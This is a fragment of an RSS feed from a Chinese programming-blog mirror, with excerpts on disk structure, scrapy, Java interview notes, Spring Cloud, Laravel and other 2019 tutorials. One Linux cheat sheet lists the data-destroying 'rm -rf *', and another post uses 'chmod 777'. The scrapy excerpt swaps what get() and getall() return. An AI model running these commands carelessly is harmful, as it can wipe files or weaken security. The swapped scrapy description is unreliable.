      <description>硬盘结构 硬盘结构&#xA;文件系统结构，理解文件系统，要从文件储存说起。&#xA;硬盘结构：&#xA;磁盘内部是真空的吗？ 磁盘内部不是真空，只不过里面的空气很干净。如果是真空，还不利于散热&#xA;磁盘相关专业术语：&#xA;硬盘的内部是金属盘片，将圆形的盘片划分成若干个扇形区域，这就是扇区。若干个扇区就组成整个盘片。为什么要分扇区？是逻辑化数据的需要，能更好的管理硬盘空间。 以盘片中心为圆心，把盘片分成若干个同心圆，那每一个划分圆的“线条”，就称为磁道。&#xA;硬盘内的盘片有两个面，都可以储存数据，而硬盘内的盘片往往不止一张，常见的有两张，那么，两张盘片中相同位置的磁道，就组成一个“柱面”，盘片中有多少个磁道，就有多少个柱面。盘片两面都能存数据，要读取它，必须有磁头，所以，每一个面，都有一个磁头，一张盘片就有两个磁头。&#xA;硬盘的存储容量=磁头数×磁道（柱面）数×每道扇区数×每道扇区字节数。&#xA;磁道从外向内自0开始顺序进行编号，各个磁道上的扇区数是在硬盘格式化时确定的。&#xA;文件储存在硬盘上，硬盘的最小存储单位叫做&#34;扇区&#34;（Sector）。每个扇区储存512字节（相当于0.5KB）。&#xA;比较古老的CHS (Cylinder/Head/Sector ：磁头(Heads)、柱面(Cylinder)、扇区(Sector)）结构体系. 因为很久以前，在硬盘的容量还非常小的时候，人们采用与软盘类似的结构生产硬盘。也就是硬盘盘片的每一条磁道都具有相同的扇区数，由此产生了所谓的3D参数，即是磁头数（Heads）、柱面数（Cylinders）、扇区数（Sectors）以及相应的3D寻址方式。&#xA;如上的磁盘结构有没有问题？？？&#xA;这种结构有问题：&#xA;以前老式的磁盘，每个磁道的扇区都一样，这样外磁道整个弧长要大于内部的扇区弧长，因而其磁记录密度就要比内部磁道的密度要小。最终，导致了外部磁道的空间浪费。&#xA;如查你磁盘设计工程师，你打算怎么解决？ 你选择下面哪种方法？&#xA;方法1：每个磁道的宽度不一样，从而让每个扇区面积尽量一样&#xA;方法2：不再一刀切，让磁道中的扇区数量可以不一样&#xA;现在硬盘都采用这种技术：ZBR（Zoned Bit Recording）区位记录 （Zoned zōnd ）&#xA;Zoned-bit recording（ZBR 区位记录）是一种物理优化硬盘存储空间的方法，此方法通过将更多的扇区放到磁盘的外部磁道而获取更多存储空间。&#xA;ZBR磁盘扇区结构示意图&#xA;从外面读数据快？ 还是从里面快？&#xA;使用ZBR 区位记录法做的磁盘有以下特点：读外圈的数据快，读内圈的数据慢，所以测试硬盘经常看到读取速度越来越慢的曲线图就很正常了。&#xA;windows安装系统的C盘或Linux boot分区一般安装在磁盘最外面还是最里面？&#xA;windows ： C盘安装最外，速度也是最快&#xA;Linux ： boot分区和 swap分区，装最外面&#xA;磁盘写数据时，先从外面往里。&#xA;簇和block 簇类似于Linux系统中的block&#xA;例：在win10系统，新一个文本文件“新建文本文档.txt”，只输入aa两个字符。&#xA;右击属性查看大小： 说明我的NTFS文件系统中默认的簇大小为4KB&#xA;[root@localhost ~]# stat /etc/passwd #查看Linux block 大小 文件：&#34;/etc/passwd&#34; 大小：885 块：8 IO 块：4096 普通文件 设备：fd00h/64768d&#x9;Inode：16777643 硬链接：1 权限：(0644/-rw-r--r--) Uid：( 0/ root) Gid：( 0/ root) 环境：system_u:object_r:passwd_file_t:s0 最近访问：2019-10-07 16:48:11.</description>
    </item>
    <item>
      <title>manjaro 安装 tim 后无法输入中文</title>
      <link>https://bchobby.github.io/posts/32c6e9083aea7e3807a13fbf82c82204/</link>
      <pubDate>Mon, 07 Oct 2019 17:42:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32c6e9083aea7e3807a13fbf82c82204/</guid>
      <description>cd /opt/deepinwine/tools sudo chmod 777 run.sh vim run.sh 在一开始的注释下输入&#xA;export GTK_IM_MODULE=&#34;fcitx&#34; export QT_IM_MODULE=&#34;fcitx&#34; export XMODIFIERS=&#34;@im=fcitx&#34; 然后重启&#xA;转载于:https://www.cnblogs.com/Jiaaaaaaaqi/p/11631420.html</description>
    </item>
    <item>
      <title>Angle Beats Gym - 102361A（计算几何）</title>
      <link>https://bchobby.github.io/posts/431ebd8e2b089c15cff0613b8fa2f405/</link>
      <pubDate>Mon, 07 Oct 2019 17:09:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/431ebd8e2b089c15cff0613b8fa2f405/</guid>
      <description>Angle Beats \[ Time Limit: 4000 ms \quad Memory Limit: 1048576 kB \]&#xA;题意 给出 \(n\) 个初始点以及 \(q\) 次询问，每次询问给出一个询问点 \(Q\)，求包括 \(Q\) 点的直角三角形有多少个。保证 \(n+q\) 个点都不重复。&#xA;思路 对于每次询问，当 \(Q\) 为直角点时，以 \(Q\) 为原点，对 \(n\) 个点做象限极角排序，然后用双指针 \(L\)、 \(R\) 维护直角三角形的个数。 \(L\) 指针用来枚举其中的一条直角边， \(R\) 指针用来寻找在另一条直角边上的点有多少个，每次找 \(QL\) 这条边逆时针方向的另一条边\(QR\)。所以当 \(L\) 往逆时针转动时，\(R\) 也会往逆时针转动，那么就可以用双指针直接维护出来了，特别注意一下多个点在同一条直线上的情况就可以了。若 \(Q\) 不是直角点时，可以离线处理，把 \(n+q\) 个点全部存出来，然后枚举以 \(n\) 个初始点为直角点时，对哪些的 \(Q\) 点有贡献，维护方法同上。 最后的复杂度为 \(O\left(qnC_1 + n(n+q)C_2\right)\)，\(C_1、C_2\) 取决于在枚举直角点为原点后，到原点在同一条直线上的点数量。&#xA;我试过把 \(n+q\) 个节点全部提取出来，然后暴力枚举每个点为直角点的情况，但是这样复杂度会 \(T\)。&#xA;#include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; typedef long long ll; typedef unsigned long long ull; const int maxn = 1e4+10; struct Point { ll x, y; int id; } p[maxn], be[maxn]; int n, m; int ans[maxn]; int cmp1(Point a, Point b) { ll d = a.</description>
    </item>
    <item>
      <title>scrapy extract_first()  get() extract() getall()</title>
      <link>https://bchobby.github.io/posts/992ed171d8aee4843a8a8859f0b135c3/</link>
      <pubDate>Mon, 07 Oct 2019 08:35:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/992ed171d8aee4843a8a8859f0b135c3/</guid>
      <description> get() == extract_first() 返回的是一个list，里面包含了多个string，如果只有一个string，则返回[&#39;我很孤独&#39;]这样的形式 getall() == extract() 返回的是string，list里面第一个string In [17]: type(response.xpath(&#39;//*[@id=&#34;waterfall&#34;]/div[1]/a/div[2]/span/text()&#39;)) Out[17]: scrapy.selector.unified.SelectorList In [18]: type(response.xpath(&#39;//*[@id=&#34;waterfall&#34;]/div[1]/a/div[2]/span/text()&#39;)[0]) Out[18]: scrapy.selector.unified.Selector In [19]: response.xpath(&#39;//*[@id=&#34;waterfall&#34;]/div[1]/a/div[2]/span/text()&#39;)[0].get() Out[19]: &#39;DNW-025 彼女が制服に着替えたら。5&#39; In [20]: response.xpath(&#39;//*[@id=&#34;waterfall&#34;]/div[1]/a/div[2]/span/text()&#39;)[0].getall() Out[20]: [&#39;DNW-025 彼女が制服に着替えたら。5&#39;] In [21]: response.xpath(&#39;//*[@id=&#34;waterfall&#34;]/div[1]/a/div[2]/span/text()&#39;)[0].extract() Out[21]: &#39;DNW-025 彼女が制服に着替えたら。5&#39; In [22]: response.xpath(&#39;//*[@id=&#34;waterfall&#34;]/div[1]/a/div[2]/span/text()&#39;)[0].extract_first() --------------------------------------------------------------------------- AttributeError Traceback (most recent call last) &amp;lt;ipython-input-22-9eada5e1e561&amp;gt; in &amp;lt;module&amp;gt; ----&amp;gt; 1 response.xpath(&#39;//*[@id=&#34;waterfall&#34;]/div[1]/a/div[2]/span/text()&#39;)[0].extract_first() AttributeError: &#39;Selector&#39; object has no attribute &#39;extract_first&#39; In [23]: response.xpath(&#39;//*[@id=&#34;waterfall&#34;]/div[1]/a/div[2]/span/text()&#39;)[0] Out[23]: &amp;lt;Selector xpath=&#39;//*[@id=&#34;waterfall&#34;]/div[1]/a/div[2]/span/text()&#39; data=&#39;DNW-025 彼女が制服に着替えたら。5&#39;&amp;gt; </description>
    </item>
    <item>
      <title>java秋招题小结3</title>
      <link>https://bchobby.github.io/posts/69c8dd3461a0197e4292762ddff64f52/</link>
      <pubDate>Sun, 06 Oct 2019 15:11:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69c8dd3461a0197e4292762ddff64f52/</guid>
      <description>1.电脑硬盘转速&#xA;一个7200(转/每分钟)的硬盘，每旋转一周所需时间为60×1000÷7200=8.33毫秒，则平均旋转延迟时间为8.33÷2=4.17毫秒(平均情况下，需要旋转半圈)。按照同样的计算方法，一个5400(转/每分钟)的硬盘，平均旋转延迟时间为60×1000÷5400÷2=5.56毫秒。二者相比，7200转理论上比5400转快15%，但是实际速度只比后者提高了不到百分之十，离很多人预想的三分之一相距甚远。转速高的缺点主要有，声音较大、寿命较短、热量较高。&#xA;2.32位操作系统最多可以支持多大内存&#xA;最大支持内存和操作系统有直接关系，即使是64位处理器，使用32位操作系统支持的内存也最多为2的32次方，就是4G。在windows 32位操作系统中最大只识别3.25-3.75之间，根据windows版本不同而不同。&#xA;而64位操作系统的寻址能力就是2的64次方，也就是17179869184G，当然这只是理论值，实际中不可能用到这么大的内存，目前64位windows系统最大只支持128G。而当前主流主板只能加到16G&#xA;内存识别的多少是和计算机cpu的寻址有关。32位的操作系统理论上可以识别2的32次方个地址（4294967296B=4GB)，但计算机还要接外设（鼠标，打印机，键盘，网卡，声卡，显卡等等）这些外设也是需要占用地址空间的。&#xA;普通家用版32位操作系统最大支持4GB内存。&#xA;企业版的32 位操作系统最高可支持32GB内存。&#xA;数据中心版的32 位操作系统最高支持64GB内存。&#xA;32位操作系统针对的32位的CPU设计。CPU的位是指一次性可处理的数据量是多少，1字节=8位，32位处理器可以一次性处理4个字节的数据量，依次类推。&#xA;cpu处理计算的时候“数据”和“指令”是不同对待的。8位的CPU，一次只能处理一个8位的“数据”或者一个8位的&#34;指令&#34;。比如&#39;00001101&#39;，又比如：“+1”这个运算，你要先指示CPU做“+”，完成后再输入“1”数据给CPU。&#xA;由于8位的CPU不利于计算机的发展。后来推出了16位的CPU，我们就可以一次处理两个字节（16位）的数据了，比如“加1”这个命令。“加”是一个指令，占用8个位，余下的8位我们可以存放数据“1”了。&#xA;32位的CPU就更加方便了，我们就可以一次处理一个a=a+b这样的命令了。优点：简化了软件设计的复杂度。缺点：硬件设计更加复杂，计算速度下降。一般来讲32位的CPU对于我们来讲是最理性的CPU，对于软件开发来讲足够了，但是内存寻址空间在2的32次方 = 4294967296Byte = 4G左右。&#xA;转载于:https://www.cnblogs.com/jiexing/p/11627360.html</description>
    </item>
    <item>
      <title>java秋招题小结1</title>
      <link>https://bchobby.github.io/posts/b3154a09c1b5f4a21bbf7354fa4629ed/</link>
      <pubDate>Sun, 06 Oct 2019 14:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3154a09c1b5f4a21bbf7354fa4629ed/</guid>
      <description>1.linux的常用命令&#xA;0:关机&#xA;1：单用户形式，只root进行维护&#xA;2：多用户，不能使用net file system&#xA;3：完全多用户&#xA;5：图形化&#xA;6：重启&#xA;用法很简单init 0 就可以关机。&#xA;shutdown -h now ：立刻关机&#xA;sync ：把内存中的数据写到磁盘中（关机、重启前都需先执行sync）&#xA;who 或 w ： 查看所有终端&#xA;clear ：清空命令行&#xA;ifconfig ：显示或设置网卡（查ip等）（类似windows中ipconfig）&#xA;ping -c 3 www.baidu.com ：测试百度与本机的连接情况（ -c 3表示测试3次）&#xA;df -h :显示磁盘的空间使用情况 ps aux|grep firefox ：获取火狐的进程号（PID）（可查看进程占用cpu、内存百分比及进程触发指令的路径）kill -9 进程号 ：强制杀死进程 cd - ：返回上次所在目录cd / ：返回根目录 （绝对路径） mkdir dir1 :创建目录(dir1)（mkdir为make directory的缩写）mkdir -p ./dir1/dir2 :递归创建目录（-p：父目录不存在时，同时建立） touch a.txt :创建文件a.txt&#xA;​rm:可以删除一个目录中的一个或多个文件或目录，也可以将某个目录及其下属的所有文件及其子目录均删除掉; 语法：rm (选项)(参数)（注：如果参数中含有目录，则必须加上-r选项）；&#xA;rm 文件 ：删除文件rm -r 目录或文件 ：删除目录（及目录下所有文件）（非空也可以）rm -rf 目录或文件 ：强制删除，如：rm -rf * 为删除当前目录下所有文件 mv -t .</description>
    </item>
    <item>
      <title>pandas 不覆盖写入 excel 同一张 Sheet 表</title>
      <link>https://bchobby.github.io/posts/21de6bd17929cf6f9c32df766a0c4ee2/</link>
      <pubDate>Fri, 04 Oct 2019 17:19:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21de6bd17929cf6f9c32df766a0c4ee2/</guid>
      <description>这里解决的问题是：&#xA;用 Pandas 可以不覆盖的写入同一张 Sheet 表，&#xA;当然写入不同的表也可以实现，&#xA;在 stackoverflow 上看到的代码，&#xA;我试了试可以，感谢 stackoverflow 的 MaxU&#xA;这里在 jupyter notebook 中实现，python 版本 3.7&#xA;我又把全部代码粘贴到vscode中直接运行，&#xA;报了未安装openpyxl模块的错误，安装openpyxl模块后，可正常运行&#xA;整合起来的版本：https://github.com/findQin/pandas-Excel&#xA;我自己写了测试代码，在下面，&#xA;第一个部分的代码就是从 stackoverflow 上 copy 的函数 append_df_to_excel() ，&#xA;第二个部分的代码测试行不行，分别写入Sheet1表（多次写入不覆盖），Sheet2表。&#xA;最后有成功写入的截图为证。&#xA;这是 StackOverflow 网页链接&#xA;append_df_to_excel(&#39;d:/temp/test.xlsx&#39;, df, sheet_name=&#39;Sheet2&#39;, index=False)&#xA;import pandas as pd from openpyxl import load_workbook def append_df_to_excel(filename, df, sheet_name=&#39;Sheet1&#39;, startrow=None, truncate_sheet=False, **to_excel_kwargs): &#34;&#34;&#34; Append a DataFrame [df] to existing Excel file [filename] into [sheet_name] Sheet. If [filename] doesn&#39;t exist, then this function will create it.</description>
    </item>
    <item>
      <title>Java 之 Response 文件下载案例</title>
      <link>https://bchobby.github.io/posts/8f62f9321fccc910033eb76526e3b0f1/</link>
      <pubDate>Fri, 04 Oct 2019 12:40:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f62f9321fccc910033eb76526e3b0f1/</guid>
      <description>文件下载需求： 1. 页面显示超链接 2. 点击超链接后弹出下载提示框 3. 完成图片文件下载 分析过程： 1. 超链接指向的资源如果能够被浏览器解析，则在浏览器中展示，如果不能解析，则弹出下载提示框。不满足需求 2. 任何资源都必须弹出下载提示框 3. 使用响应头设置资源的打开方式： content-disposition:attachment;filename=xxx 步骤： 1. 定义页面，编辑超链接href属性，指向Servlet，传递资源名称filename 2. 定义Servlet 1. 获取文件名称 2. 使用字节输入流加载文件进内存 3. 指定response的响应头： content-disposition:attachment;filename=xxx 4. 将数据写出到response输出流 代码实现： 下载页面：&#xA;1 &amp;lt;!DOCTYPE html&amp;gt; 2 &amp;lt;html lang=&#34;en&#34;&amp;gt; 3 &amp;lt;head&amp;gt; 4 &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; 5 &amp;lt;title&amp;gt;文件下载&amp;lt;/title&amp;gt; 6 &amp;lt;/head&amp;gt; 7 &amp;lt;body&amp;gt; 8 9 10 &amp;lt;a href=&#34;https://bchobby.github.io/day13/img/狐狸.jpg&#34;&amp;gt;图片1&amp;lt;/a&amp;gt; 11 12 &amp;lt;a href=&#34;https://bchobby.github.io/day13/img/2.jpg&#34;&amp;gt;图片2&amp;lt;/a&amp;gt; 13 14 &amp;lt;a href=&#34;https://bchobby.github.io/day13/img/1.avi&#34;&amp;gt;视频&amp;lt;/a&amp;gt; 15 &amp;lt;hr&amp;gt; 16 17 18 &amp;lt;a href=&#34;https://bchobby.github.io/day13/downloadservlet?filename=狐狸.jpg&#34;&amp;gt;图片1&amp;lt;/a&amp;gt; 19 20 &amp;lt;a href=&#34;</description>
    </item>
    <item>
      <title>超详细的SpringCloud底层原理</title>
      <link>https://bchobby.github.io/posts/02a278a4077b291d3710d2873514961b/</link>
      <pubDate>Thu, 03 Oct 2019 15:55:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02a278a4077b291d3710d2873514961b/</guid>
      <description>天天喊着微服务，微服务的，微服务怎么牛逼，微服务有多强大，学好微服务三天不用吃饭的那种？那我心里不禁一紧微服务到底是个啥？往下看！总有东西有点帮助！&#xA;先来个简单的介绍吧！&#xA;SpringCloud框架 针对这个架构图我分层介绍一下：&#xA;1、是web服务器的选型，这个我选择的是nginx+keepalived，haproxy也是一个选择，但是haproxy在反向代理处理跨域访问的时候问题很多。所以我们nginx有些地方做了keep-alive模式处理，减少了三次握手的次数，提高了连接效率。keepalived做nginx的负载，虚拟一个vip对外，两个nginx做高可用，nginx本身反向代理zuul集群。&#xA;2、api gateway，这里的zuul很多人诟病，说是速度慢推荐直接用nginx，这里我还是推荐使用zuul的，毕竟zuul含有拦截器和反向代理，在权限管理、单点登录、用户认证时候还是很有用的，而且zuul自带ribbon负载均衡，如果你直接用nginx，还需要单独做一个feign或者ribbon层，用来做业务集群的负载层，毕竟直接把接口暴露给web服务器太危险了。这里zuul带有ribbon负载均衡和hystrix断路器，直接反向代理serviceId就可以代理整个集群了。&#xA;3、业务集群，这一层我有些项目是分两层的，就是上面加了一个负载层，下面是从service开始的，底层只是单纯的接口，controller是单独一层由feign实现，然后内部不同业务服务接口互调，直接调用controller层，只能说效果一般，多了一次tcp连接。所以我推荐合并起来，因为做过spring cloud项目的都知道，feign是含有ribbon的，而zuul也含有ribbon，这样的话zuul调用服务集群，和服务集群间接口的互调都是高可用的，保证了通讯的稳定性。Hystrix还是要有的，没有断路器很难实现服务降级，会出现大量请求发送到不可用的节点。当然service是可以改造的，如果改造成rpc方式，那服务之间互调又是另外一种情况了，那就要做成负载池和接口服务池的形式了，负载池调用接口池，接口池互相rpc调用，feign client只是通过实现接口达到了仿rpc的形式，不过速度表现还是不错的。&#xA;4、redis缓存池，这个用来做session共享，分布式系统session共享是一个大问题。同时呢，redis做二级缓存对降低整个服务的响应时间，并且减少数据库的访问次数是很有帮助的。当然redis cluster还是redis sentinel自己选择。&#xA;5、eurake注册中心这个高可用集群，这里有很多细节，比如多久刷新列表一次，多久监测心跳什么的，都很重要。&#xA;6、spring admin，这个是很推荐的，这个功能很强大，可以集成turbine断路器监控器，而且可以定义所有类的log等级，不用单独去配置，还可以查看本地log日志文件，监控不同服务的机器参数及性能，非常强大。它加上elk动态日志收集系统，对于项目运维非常方便。&#xA;7、zipkin，这个有两种方式，直接用它自己的功能界面查看方式，或者用stream流的方式，由elk动态日志系统收集。但是我必须要说，这个对系统的性能损害非常大，因为链路追踪的时候会造成响应等待，而且等待时间非常长接近1秒，这在生产环境是不能忍受的，所以生产环境最好关掉，有问题调试的时候再打开。&#xA;8、消息队列，这个必须的，分布式系统不可能所有场景都满足强一致性，这里只能由消息队列来作为缓冲，这里我用的是Kafka。&#xA;9、分布式事物，我认为这是分布式最困难的，因为不同的业务集群都对应自己的数据库，互相数据库不是互通的，互相服务调用只能是相互接口，有些甚至是异地的，这样造成的结果就是网络延迟造成的请求等待，网络抖动造成的数据丢失，这些都是很可怕的问题，所以必须要处理分布式事物。我推荐的是利用消息队列，采取二阶段提交协议配合事物补偿机制，具体的实现需要结合业务，这里篇幅有限就不展开说了。&#xA;10、config配置中心，这是很有必要的，因为服务太多配置文件太多，没有这个很难运维。这个一般利用消息队列建立一个spring cloud bus，由git存储配置文件，利用bus总线动态更新配置文件信息。&#xA;11、实时分布式日志系统，logstash收集本地的log文件流，传输给elasticsearch，logstash有两种方式，1、是每一台机器启动一个logstash服务，读取本地的日志文件，生成流传给elasticsearch。2、logback引入logstash包，然后直接生产json流传给一个中心的logstash服务器，它再传给elasticsearch。elasticsearch再将流传给kibana，动态查看日志，甚至zipkin的流也可以直接传给elasticsearch。这个配合spring admin，一个查看动态日志，一个查看本地日志，同时还能远程管理不同类的日志级别，对集成和运维非常有利。&#xA;最后要说说，spring cloud的很多东西都比较精确，比如断路器触发时间、事物补偿时间、http响应时间等，这些都需要好好的设计，而且可以优化的点非常多。比如：http通讯可以使用okhttp，jvm优化，nio模式，数据连接池等等，都可以很大的提高性能。&#xA;还有一个docker问题，很多人说不用docker就不算微服务。其实我个人意见，spring cloud本身就是微服务的，只需要jdk环境即可。编写dockerfile也无非是集成jdk、添加jar包、执行jar而已，或者用docker compose，将多个不同服务的image组合run成容器而已。但是带来的问题很多，比如通讯问题、服务器性能损耗问题、容器进程崩溃问题，当然如果你有一套成熟的基于k8s的容器管理平台，这个是没问题的，如果没有可能就要斟酌了。而spring cloud本身就是微服务分布式的架构，所以个人还是推荐直接机器部署的，当然好的DevOps工具将会方便很多。&#xA;作者github地址：https://github.com/cyc3552637&#xA;引言 面试中面试官喜欢问组件的实现原理，尤其是常用技术，我们平时使用了SpringCloud还需要了解它的实现原理，这样不仅起到举一反三的作用，还能帮助轻松应对各种问题及有针对的进行扩展。&#xA;以下是《Java深入微服务原理改造房产销售平台》课程讲到的部分原理附图，现在免费开放给大家，让大家轻松应对原理面试题。&#xA;服务注册发现组件Eureka工作原理 1、Eureka 简介：&#xA;Eureka 是 Netflix 出品的用于实现服务注册和发现的工具。 Spring Cloud 集成了 Eureka，并提供了开箱即用的支持。其中， Eureka 又可细分为 Eureka Server 和 Eureka Client。&#xA;1.基本原理 上图是来自eureka的官方架构图，这是基于集群配置的eureka； - 处于不同节点的eureka通过Replicate进行数据同步 - Application Service为服务提供者 - Application Client为服务消费者 - Make Remote Call完成一次服务调用&#xA;服务启动后向Eureka注册，Eureka Server会将注册信息向其他Eureka Server进行同步，当服务消费者要调用服务提供者，则向服务注册中心获取服务提供者地址，然后会将服务提供者地址缓存在本地，下次再调用时，则直接从本地缓存中取，完成一次调用。</description>
    </item>
    <item>
      <title>laravel 中将一对多关联查询的结果去重处理</title>
      <link>https://bchobby.github.io/posts/d1e056619c34de59d3613b91b2cba0c3/</link>
      <pubDate>Wed, 02 Oct 2019 15:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1e056619c34de59d3613b91b2cba0c3/</guid>
      <description>先交代下数据表结构&#xA;主表(订单表)order数据 ord_idorder_sn1EX2019100123458 其中主键为order_id(订单id)&#xA;子表(门票表)order_item数据 ord_ite_idord_idexhibit_sntype11EXSN20191001001121EXSN20191001002131EXSN201910010031 主表与子表之间通过 ord_id进行关联&#xA;实现:通过通过子表的 type(门票类型)查询主表中的订单编号&#xA;第一种尝试：&#xA;select DISTINCT `order`.ord_id from `order` INNER JOIN order_item on order.ord_id = order_item.ord_id where type = 1; 这种方法可以实现但是在laravel中如果想分页的话需要这么使用&#xA;DB::table(DB::raw(&#34;sql语句&#34;))-&amp;gt;paginate(15); 但是这样的话我们相当于使用的原生sql语句，但是如果在添加条件的话只能去拼接sql语句啦&#xA;第二种尝试：&#xA;select `order`.ord_id,`order`.order_sn from `order` INNER JOIN (select distinct ord_id from order_item) r on `order`.ord_id=r.ord_id 在larave中使用&#xA;Order::join(DB::raw(&#34;(select distinct order_item.ord_id item_ord_id,type from order_item) &#34;.env(&#34;DB_PREFIX&#34;).&#34;bb&#34;),&#34;bb.item_order_id&#34;,&#34;exhibit_order.order_id&#34;)-&amp;gt;paginate(15); 这样我们可以继续使用 where() 方法来添加条件&#xA;转载于:https://www.cnblogs.com/itsuibi/p/11617512.html</description>
    </item>
    <item>
      <title>对 Error-State Kalman Filter 的理解</title>
      <link>https://bchobby.github.io/posts/73b2f81b7776f9ceb6d2cd70724f4a84/</link>
      <pubDate>Tue, 01 Oct 2019 23:28:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73b2f81b7776f9ceb6d2cd70724f4a84/</guid>
      <description>我对 Error-State Kalman Filter 的理解。本文的主要参考文献是 Joan Sola 的 《Quaternion kinematics for the error-state Kalman filter》[1]，当然是这本小册子，做 VIO 的人都会熟读这本册子。&#xA;1. ErKF 与 EFK 的区别 关于 Error-State Kalman Filter (ErKF) 与 Extended Kalman Filter (EKF) 之间的联系与区别可以参考论文 [2]，论文 [2] 可以帮助理解 Error-State Kalman Filter，现在引用其中的一些文字以说明 EKF 与 ErKF 之间的区别。&#xA;论文 [2] 的 Abstract：&#xA;EKFs operate by linearizing the nonlinear model around the current reference trajectory and then designing the Kalman filter gain for the linearized model.</description>
    </item>
    <item>
      <title>java生成Cron表达式</title>
      <link>https://bchobby.github.io/posts/88a03fe932e7ea6a0d5b151a1c2efea5/</link>
      <pubDate>Mon, 30 Sep 2019 17:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88a03fe932e7ea6a0d5b151a1c2efea5/</guid>
      <description>1、上代码&#xA;1 /** 2 * @ClassName: CronUtil 3 * @Description: Cron表达式工具类 目前支持三种常用的cron表达式 1.每天的某个时间点执行 例:12 12 12 * * 4 * ?表示每天12时12分12秒执行 2.每周的哪几天执行 例:12 12 12 ? * 1,2,3表示每周的周1周2周3 5 * ,12时12分12秒执行 3.每月的哪几天执行 例:12 12 12 1,21,13 * ?表示每月的1号21号13号 6 * 12时12分12秒执行 7 * @author 8 * @date 9 * 10 */ 11 public class CronUtil { 12 13 /** 14 * 15 * 方法摘要：构建Cron表达式 16 * 17 * @param rate 频率 0秒；1分；2小时；3日；4月 18 * @param cycle 周期 19 * @return String 20 */ 21 public static String createLoopCronExpression(int rate, int cycle) { 22 String cron = &#34;</description>
    </item>
    <item>
      <title>记录---百度地图marker中label现隐</title>
      <link>https://bchobby.github.io/posts/7f1973f802ca75fc150af5d504713ff1/</link>
      <pubDate>Mon, 30 Sep 2019 16:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f1973f802ca75fc150af5d504713ff1/</guid>
      <description>1 var marker = new BMap.Marker(point, { 2 icon: new BMap.Icon(&#39;&#39;, new BMap.Size(16, 16), { 3 anchor: new BMap.Size(9, 9) 4 }) 5 }) 6 7 var content = &#39;&amp;lt;span&amp;gt;&#39;+xxxxx+&#39;&amp;lt;/span&amp;gt; 8 9 var label = new BMap.Label(content, { 10 offset: new BMap.Size(0, 0) 11 }) 12 label.setStyle({ 13 border: &#39;1px solid rgba(204, 204, 204, 0)&#39;, 14 color: &#39;rgb(0, 255, 255)&#39;, 15 borderRadius: &#39;10px&#39;, 16 padding: &#39;5px&#39;, 17 background: &#39;rgba(21, 21, 21, 0.</description>
    </item>
    <item>
      <title>pyhthon 处理pdf 合集</title>
      <link>https://bchobby.github.io/posts/d7b4ab68457c129fae29bbfd67dcc378/</link>
      <pubDate>Mon, 30 Sep 2019 15:43:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7b4ab68457c129fae29bbfd67dcc378/</guid>
      <description>查永春的CSDN博客 https://blog.csdn.net/zyc121561/column/info/25026&#xA;提取指定的PDF表格保存到Excel Python提取PDF内容（文本、图像、线条等） 提取PDF内容保存到Excel--Python实现 PDF内容替换--Python实现 提取PDF关键字并写入Excel Python提取PDF电子发票内容保存到Excel 提取PDF内容保存到Excel--Python3实现 转载于:https://www.cnblogs.com/angle6-liu/p/11613033.html</description>
    </item>
    <item>
      <title>雷达专业找工作总结</title>
      <link>https://bchobby.github.io/posts/dda20dc64fe59355a150afe6f1784903/</link>
      <pubDate>Mon, 30 Sep 2019 15:41:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dda20dc64fe59355a150afe6f1784903/</guid>
      <description>今年找工作，研究方向为雷达信号处理，投的公司不多，了解的有雷达相关岗位需求的公司如下，欢迎补充：&#xA;一、大中厂/国企 1、海康威视 （1）智能传感算法工程师&#xA;此岗位也招毫米波雷达、激光雷达开发，属于海康研究院。&#xA;（2）算法工程师（毫米波）&#xA;海康面试： 面试官人很好，一轮技术面+一轮HR面，表现好的会加一面；主要介绍项目和简单的编程考察。&#xA;2、大疆 （1）雷达算法工程师&#xA;工作职责：&#xA;1. 负责雷达算法的设计和优化；&#xA;2. 参与雷达天线方案设计，参与制定雷达天线设计指标；&#xA;3. 负责产品功能、性能测试用例的设计和编写；&#xA;4. 协助嵌入式工程师进行算法移植；&#xA;5. 进行相关行业及竞品信息搜集和分析。&#xA;任职要求：&#xA;1. 硕士及以上学历，有良好的数学基础；&#xA;2. 掌握雷达系统的原理和方法，能熟练进行雷达相关算法的仿真验证；&#xA;3. 熟练使用MATLAB/C进行算法开发；&#xA;4. 有FMCW雷达信号处理或者毫米波雷达开发经验者优先；&#xA;5. 有良好的抗压能力。&#xA;（2）雷达嵌入式开发工程师（毫米波方向） ——具体岗位要求，查看招聘官网&#xA;大疆招聘：雷达算法工程师hc很少，全国也就2个左右吧；大疆招聘比较早，6月底开始，及时关注。&#xA;3、华域汽车 雷达算法工程师&#xA;工作职责：负责毫米波雷达算法的开发、测试和验证 。&#xA;招聘要求：&#xA;1.熟悉雷达的体制和工作原理；&#xA;2.熟练掌握数字信号处理的专业知识，熟悉雷达的信号处理和数据处理的常用方法；&#xA;3.有基于 FMCW 、 FSK 、 LFMSK 、 2D FFT 波形的雷达算法开发经验者优先；&#xA;4.熟练使用 MATLAB Simulink / Stateflow 软件进行算法仿真、设计和验证；&#xA;5.熟练掌握 Visual C++ 。&#xA;华域汽车面试：招的人很少，听说是“神仙”面试，各种推公式，不太推荐去。&#xA;4、瑞声科技 5、国睿科技 二、研究所 1、中电14所 南京，学历要求比较高，研发部门只招985博硕士吧。&#xA;2、中电38所 合肥，招博士，硕士招的不多。</description>
    </item>
    <item>
      <title>linux shell 中&#34;2&gt;&amp;1&#34;含义-完美理解-费元星</title>
      <link>https://bchobby.github.io/posts/1dd494229996dbdc12324b3c97640115/</link>
      <pubDate>Mon, 30 Sep 2019 15:16:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dd494229996dbdc12324b3c97640115/</guid>
